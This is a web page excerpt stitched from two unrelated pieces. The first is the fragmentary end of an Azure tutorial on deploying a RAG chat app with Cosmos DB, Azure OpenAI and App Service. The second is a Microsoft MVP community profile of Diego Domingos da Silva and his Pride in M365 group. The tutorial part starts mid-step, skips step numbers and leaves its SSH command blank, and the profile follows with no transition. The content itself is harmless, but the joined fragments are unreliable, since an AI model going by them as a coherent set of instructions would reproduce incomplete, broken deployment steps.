| AZCOSMOS_CONNSTR | mongodb+srv://<mongoAdminUser>:<mongoAdminPassword>@<mongoClusterName>.global.mongocluster.cosmos.azure.com/?tls=true&authMechanism=SCRAM-SHA-256&retrywrites=false&maxIdleTimeMS=120000 |
| AZCOSMOS_DATABASE_NAME | <cosmosDatabaseName> |
| AZCOSMOS_CONTAINER_NAME | <cosmosContainerName> |
Any value should work for them.
4. Select Save.
5. Select General settings to edit the application startup command.
6. Type entrypoint.sh in the startup command field and select Save.
3. Open the file and select the pen icon to edit it.
4. Modify lines 31 and 36 to the following:
| 31 | run: cd src && pip install -r ./requirements.txt |
| 36 | run: cd src && zip ../release.zip ./* -r |
5. Select Commit changes, and review your commit message and description. Select Commit changes.
6. Select Actions to review the workflow run status.
2. Type in the chat message What is Azure Functions? and it should respond with I don't know.
3. Navigate to your Azure App service resource page and select SSH.
4. Select Go to open a new SSH page.
5. In the SSH terminal, run this command:
|
|
6. Navigate back to the live website and type in the chat message What is Azure Functions? and it should respond with the correct answer now.
Congratulations!! You successfully built the full application.
If you want to learn how to add your own data see this guide on the repository's main readme.
Once you finish experimenting on Microsoft Azure you might want to delete the resources to not consume any more money from your subscription.
You can delete the resource group and it will delete everything inside it or delete the resources one by one that's totally up to you.
Congratulations! You've learned how to create an Azure Cosmos DB for MongoDB vCore cluster, how to create an Azure OpenAI resource, how to deploy an embedding model and a chat model from Azure OpenAI studio, how to create an Azure App service and configure continuous deployment with GitHub, and how to modify application settings to enable the communication across Azure resources. By using these technologies, you can build a RAG chat application with the option to perform vector search too over your own data and provide grounded (relevant) responses.
Found this useful? Share it with others and follow me to get updates on:
Feel free to share your comments and/or inquiries in the comment section below..See you in future demos!
For MVP Diego Domingos da Silva, the journey to becoming a Microsoft MVP was never about collecting credentials. It was about showing up, learning in public, and finding people who made the tech world feel more human. A newer MVP in the program, Diego has built his reputation by helping others make sense of Microsoft 365 with honesty, humor, and heart. Along the way, the community became more than a professional network. It became a place of growth, connection, and support—and ultimately helped shape both his career and his life.
Diego’s path into the community started with a challenge from a manager: build a personal brand. At the time, he was working in Washington, D.C. and began experimenting with a blog that would eventually grow into his recognizable voice in the Microsoft 365 space. He attended his first Microsoft 365 Community Conference in Las Vegas shortly after the pandemic, where one session about making community part of your career shifted his perspective. Instead of watching from the back, he moved to the front of the room - curious, observant, and determined to understand how people built careers through sharing what they knew.
“I had zero of the knowledge, but I had the curiosity. I went to the front of the room because I wanted to see how it was done.”
That curiosity turned into action. After encouragement from community leaders, Diego submitted sessions, spoke at events, and kept returning - not because he was chasing a title, but because he loved the energy of helping others and learning alongside them. He discovered that community work is not only what happens on stage. It is also the invisible work: moving chairs, carrying pizza boxes, welcoming newcomers, and creating spaces where people feel they belong. Over time, mentors encouraged him to keep going, build meaningful contributions, and trust that impact matters more than perfection.
Behind the scenes, Diego was also navigating profound personal loss. In that season, the M365 community became far more than a place to talk about technology. It gave him a sense of safety, connection, and stability when he needed it most. That experience shaped the way he shows up today: candid, welcoming, and committed to making space for other people’s stories as well as their technical growth.
“Community wasn’t just my escape. Community was my lifeline. It was my safe space.”
One of Diego’s biggest lessons is that community impact is rarely about knowing everything. It is about listening well, staying humble, and helping people connect to the knowledge they need. That mindset has shaped how he contributes today as a Microsoft MVP in the M365 category, with a focus on SharePoint and M365 Copilot. On his Microsoft MVP profile, Diego describes his work as “flipping the script in M365 with SharePoint, Copilot, and the power of community,” a phrase that reflects both his technical focus and his people-first approach.
He also believes belonging grows when people bring their full selves into the room. That is part of what motivates his work to foster visibility and connection for underrepresented groups in tech spaces. Whether he is mentoring, speaking, blogging, or simply starting conversations that help people feel less intimidated, Diego keeps coming back to the same idea: meaningful community is built one generous interaction at a time.
“I do not know everything, but I know everyone who knows something—and I can help you get the information you need.”
Alongside his work in mentorship and storytelling, Diego is also actively creating new spaces for connection. Inspired by an LGBTQIA+ meetup at the Microsoft 365 Community Conference - organized with very little notice but still drawing a meaningful group - he recognized a deeper need within the ecosystem.
That moment sparked the creation of Pride in M365, a community for LGBTQIA+ individuals and allies across Microsoft 365, Power Platform, AI, and the broader Microsoft ecosystem. The group focuses on building connection, visibility, mentorship, and support through shared experiences and community conversations - with a clear message that everyone is welcome.
For Diego, the goal is simple but powerful: carry the energy of those in-person moments forward so that connection doesn’t start from scratch at every event. By creating a consistent space between conferences, Pride in M365 helps people show up already knowing they belong - and already recognizing a few familiar faces.
“If we can keep those conversations going between events, then by the time we show up at the next conference, we already know each other. That’s the goal - to make the community easier to find, easier to join, and a little more welcoming for everyone.”
If you are thinking about becoming a Microsoft MVP, Diego’s advice is refreshingly practical: pick something you genuinely enjoy, stay curious, and keep showing up. Expertise grows over time, but authenticity, empathy, and consistency are what help build trust. To learn more about Diego’s work, visit his Microsoft MVP profile and LinkedIn page, and explore the Microsoft MVP Program to see how community contributions can open doors - not just professionally, but personally too. Connect with the Microsoft 365 & Power Platform Community and Microsoft 365 Community Hub.
“Every day will be happier than the day before.”
(Left to right) MVPs Jeremy Sinclair,Diego Domingos da Silva,Sucheta Gawade, andAgnieszka Maria Mietz-Blijleven on a Mentoring Ring panel at MVP Summit
To find an MVP and learn more about the MVP Program visit the MVP Communities website and follow our updates on LinkedIn or #mvpbuzz.
Join us for a future live session through the Microsoft Reactor where we walk through what the MVP program is about, what we look for, and how nominations work. These sessions are designed to help you connect the dots between the work you’re already doing and the impact the MVP Program recognizes - with time for questions, examples, and real conversations.